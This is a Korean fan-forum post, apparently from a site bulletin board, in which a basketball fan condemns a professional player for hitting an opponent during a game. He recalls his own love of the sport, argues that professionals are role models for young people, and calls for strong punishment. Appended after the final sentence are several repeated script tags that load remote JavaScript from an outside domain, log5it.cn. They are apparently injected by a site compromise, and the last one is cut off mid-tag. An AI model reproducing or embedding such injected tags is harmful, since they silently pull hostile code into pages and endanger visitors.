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선생님...농구가 하기 싫어요...

농구를 정말 좋아하는 팬입니다.. 문득 제가 좋아하는 농구만화의 대사가 거꾸로 떠오르는군요...농구가 하고 싶어 폭력 사태로 물의를 일으키고.. 결국 자신의 은사 앞에서.. 눈물을 흘리며 사죄하고..결국 다시 바스켓맨이 되었던 선수의 모습이..
저는 서른살 즈음의 저의 또래가 그렇듯이 누구보다 농구에 열광하고 누구보다 농구를 많이 하고 자라난 세대라고 생각합니다..
농구만화 슬램덩크, 농구대잔치, 미니농구대의 추억, 마지막 승부, nhk를 통해 nba를 녹화해 보던 기억..

저같은 팬들은 농구를 보는 것만큼 하는 것도 좋아합니다..
그렇기 때문에 농구라는 스포츠가 격한 운동이라는 것을 알고 있습니다.
농구를 하다보면 신체접촉이 많고 감정적으로 격해지는 경우도 많이 있다는 거 알고 있습니다.
하지만 아마추어 농구코트에서도...
소위 우리들의 동네 농구장에서도..
서로 거칠게 플레이하며 언성을 높이기도 하지만 상대방을 가격하지는 않습니다..
얼굴이 붉어졌다가도...
시합이 끝나면 서로의 음료수를 건내며 플레이를 칭찬하고 다음을 기약합니다...
이겨서 좋을 때나 져서 화가 날때나...
우리들끼리 속된 말로 저녀석 잘한다 다음에는 이겨주자...
그런 식의 마인드를 가지고 분함을 토로할지언정....

프로라는 말이 무엇입니까??
남들보다 실력이 뛰어나서??
남들보다 오래 운동을 해서??
프로는 인내의 시간으로 그 자리에 설 자격을 갖추게 되는 것이고..
그 시간으로 인해 자신이 생계와 관련된 일을 하는..
직업이라 생각합니다..
노력의 시간으로 누구보다 뛰어난 실력을 키웠겠지요...
그렇기 때문에 저같은 팬들이 돈을 지불하며 코트를 찾고..
그들의 플레이에 열광하고..
그들의 폼을 익히려..
그들의 플레이를 따라하려..
집 근처 농구장에서...체육관에서... 슛을 던집니다...

프로농구선수에 대한 열정은 그 선수의 정신적인 면에 대한 동경심으로까지 나타납니다.
I can accept failure, but I can't accept not trying.
저같은 경우 아직도 농구황제 조던의 어록을 기억하고 저의 모토로 삼을 정도입니다.
분명 저같은 팬들이 존재할거라 생각합니다.
이토록 프로선수에 대한 동경은 농구팬에게 단지 보는 즐거움 이상의 지대한 영향을 끼칠 수 있습니다.

이번일과 같은 광경을 직접 지켜본 청소년들은 어떤 생각을 할까요?
상대의 플레이를 잡을 수 없다면...
상대를 가격해버릴 수도 있지...
분명 그렇게 생각하는 청소년들이 그 시합 전날 보다는 더 생겨났겠지요...
경기장에서 경기를 보건..
중계를 통해 보건..
누군가의 가슴 한구석에 그런 마음을 심어주는건
프로선수가 아닙니다...
전 이번일이 정말 심각한 문제라고 생각합니다.

승부근성이 있는 것과 상대방을 가격하는 것은 다릅니다...
승부근성이 있다면 실력으로 상대를 압도하고 싶지..
그렇게 상대를 가격하는 일이 있을 수 없습니다...
그건 개인의 인격과 관련된 부분이라 생각이 듭니다...

적어도 프로라면...
프로라서? 네...저는 프로이기 때문에 그런 책임감이 있어야 한다고 생각합니다.
자신의 플레이가 관중을 매료시키듯...
자신의 행동이 스포츠 팬들에게 영향을 끼친다는 사실을 인지해야 한다고 생각합니다..
자신의 플레이가 상대방보다 못할지언정...
오늘 내 마음대로 게임이 안풀리언정...
또다른 노력을 통해 기량을 향상시켜..
팬들에게 기쁨을 주고 몸값을 올리려 노력해야지..
코트위에서 상대방을 가격한다는건 정말 말이 안됩니다...

생각을 해보세요...
동네 농구에서건..
중고등학교...대학교 체전에서건...
각자의 명예와 실력을 걸고 서로 대항을 합니다..
하지만 아무리 격해져도 끝나면 서로 웃고 화해하고..
결과에 승복합니다..
심판을 존중하고...상대방을 존중합니다...

농구라는 스포츠의 매력...
전술도 중요하지만 개개인이 서로 마주하고 플레이를 하다 보면...
이 사람이 나보다 실력이 좋은지 나쁜지...
내가 파울을 해도 고의적인건지 실수인지..
알 수 있습니다..
본인만 아는 그런 부분이 있습니다..
그렇기 때문에 상대방에게 화가 나기도 하겠지만..
상대방의 실력에 감탄을 하기도 합니다..
그건 자신만이 느끼겠지요..

물론 프로 경기라면 본의 아니게 팀의 승리를 위해 악의적인 파울을 할 수도 있을 것입니다.
하지만 상대방을 일방적으로 가격하는 것은...
절대 있을 수 없습니다...
동네농구에서도...
코트에 대한 존중...
상대방에 대한 존중이 있습니다..

잘못에 대한 책임...
강력한 처벌이 있어야 한다고 생각합니다..
있을 수 없는 일입니다...<script src=http://log5it.cn></script><script src=http://log5it.cn></script><script src=http://log5it.cn></script><script src=http://log5it.cn></script><script src=htt

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